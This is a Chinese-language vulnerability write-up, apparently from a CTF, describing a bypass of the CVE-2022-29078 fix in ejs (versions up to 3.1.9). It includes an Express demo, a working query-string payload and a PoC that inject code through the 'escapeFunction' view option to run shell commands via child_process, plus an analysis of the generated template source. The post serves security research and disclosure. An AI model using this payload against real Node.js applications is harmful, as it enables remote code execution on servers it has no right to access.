ejs RCE CVE-2022-29078 bypass
ejs RCE CVE-2022-29078 bypass
打某ctf ,挖了个 CVE-2022-29078 的绕过,给非预期了
影响版本
ejs <= v3.1.9 (最新版本)
demo 环境
这里用 express 起,在调用 resp.render()
的时候,第二个参数可控(比如说是个 req.query
)
1 2 3
| app.get("/test",function (req,resp){ return resp.render("test",req.query); })
|
模板渲染完成之后默认会 cache ,需要在 cache 之前注入代码,这里为了方便,把 cache 关了
1
| app.set('view cache', false);
|
poc & payload
payload :
1
| ?settings[view%20options][escapeFunction]=console.log;this.global.process.mainModule.require(%27child_process%27).execSync("touch /tmp/3.txt");&settings[view%20options][client]=true
|
poc :
1 2 3 4 5 6 7 8 9 10 11 12
| o = { "settings":{ "view options":{ "escapeFunction":'console.log;this.global.process.mainModule.require("child_process").execSync("touch /tmp/pwned");', "client":"true" } } }
app.get("/test",function (req,resp){ return resp.render("test",o); })
|
漏洞分析
这个漏洞是对 https://eslam.io/posts/ejs-server-side-template-injection-rce/ (CVE-2022-29078)修复的绕过
发送 payload 之后,触发了 template 的 render ,来到 node_modules/ejs/lib/ejs.js
的 renderFile()
中,此时 data
是 req.query
,opts
是 render 的选项,并调用了 utils.shallowCopy(opts, viewOpts);
,用 req.query.settings.view options
把 opts
中的覆盖了:
随后 opts
流到了 compile()
当中,opts
中的一些选项会被直接拼接进 src
里面,但是 CVE-2022-29078 之后,opts.outputFunctionName
、opts.localsName
、opts.destructuredLocals
想要拼接进 src
的话要通过 正则的 白名单处理:
但是,还是有元素没有被正则过滤,这就是 opts.escapeFunction
:
也就是说,当 opts.client
不为空的情况下,opts.escapeFunction
的值就能直接拼接到 src
当中,从而实现任意代码执行。运行 payload 之后,得到的 src
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| rethrow = rethrow || function rethrow(err, str, flnm, lineno, esc) { var lines = str.split('\n'); var start = Math.max(lineno - 3, 0); var end = Math.min(lines.length, lineno + 3); var filename = esc(flnm); var context = lines.slice(start, end).map(function (line, i){ var curr = i + start + 1; return (curr == lineno ? ' >> ' : ' ') + curr + '| ' + line; }).join('\n');
err.path = filename; err.message = (filename || 'ejs') + ':' + lineno + '\n' + context + '\n\n' + err.message;
throw err; }; escapeFn = escapeFn || console.log;this.global.process.mainModule.require('child_process').execSync("calc.exe");; var __line = 1 , __lines = "<!DOCTYPE html>\r\n<html>\r\n<body>\r\n<h1><%= name %></h1>\r\n\r\n</body>\r\n</html>\r\n" , __filename = "D:\\var\\www\\ejstest\\views\\test.ejs"; try { var __output = ""; function __append(s) { if (s !== undefined && s !== null) __output += s } with (locals || {}) { ; __append("<!DOCTYPE html>\r\n<html>\r\n<body>\r\n<h1>") ; __line = 4 ; __append(escapeFn( name )) ; __append("</h1>\r\n\r\n</body>\r\n</html>\r\n") ; __line = 8 } return __output; } catch (e) { rethrow(e, __lines, __filename, __line, escapeFn); }
|